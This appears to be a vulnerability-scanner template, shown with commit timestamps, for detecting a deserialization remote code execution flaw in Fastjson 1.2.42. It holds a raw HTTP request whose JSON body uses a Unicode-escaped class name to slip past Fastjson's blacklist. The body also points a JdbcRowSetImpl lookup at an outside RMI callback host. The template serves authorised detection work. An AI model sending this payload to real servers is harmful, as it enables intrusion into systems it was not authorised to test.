2021-10-30 11:17:35 +00:00
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id: fastjson-1-2-42-rce
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2021-10-12 05:57:50 +00:00
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info:
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2022-05-25 21:17:59 +00:00
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name: Fastjson 1.2.42 - Remote Code Execution
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2021-10-12 05:57:50 +00:00
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author: zh
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severity: critical
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2022-05-25 21:17:59 +00:00
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description: Fastjson 1.2.42 is susceptible to a deserialization remote code execution vulnerability
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2021-10-12 05:57:50 +00:00
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reference:
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- https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson
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- https://github.com/wyzxxz/fastjson_rce_tool
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2022-05-25 21:17:59 +00:00
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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2023-10-14 11:27:55 +00:00
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cvss-score: 10
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2022-05-25 21:17:59 +00:00
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cwe-id: CWE-77
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2023-04-28 08:11:21 +00:00
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metadata:
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max-request: 1
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2023-10-14 11:27:55 +00:00
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tags: fastjson,rce,deserialization,oast
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2021-10-12 05:57:50 +00:00
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2023-04-27 04:28:59 +00:00
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http:
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2021-10-12 05:57:50 +00:00
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- raw:
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{
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"@type":"LL\u0063\u006f\u006d.sun.rowset.JdbcRowSetImpl;;",
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"dataSourceName":"rmi://{{interactsh-url}}/Exploit",
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"autoCommit":true
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}
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matchers-condition: and
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matchers:
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- type: word
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2023-10-14 11:27:55 +00:00
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part: interactsh_protocol # Confirms DNS Interaction
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2021-10-12 05:57:50 +00:00
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words:
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2021-10-12 06:37:05 +00:00
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- "dns"
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- type: status
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negative: true
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status:
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2022-05-25 21:17:59 +00:00
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- 200
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2023-10-20 11:41:13 +00:00
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# digest: 4b0a00483046022100a18316d54f100447c42fa7a91541478430ab970183dc20150e7ee7a835f02a83022100852cfabc82b539b7bfe63d8df2561ffc8dfba92ea7c085d84230e9efd6628c52:922c64590222798bb761d5b6d8e72950
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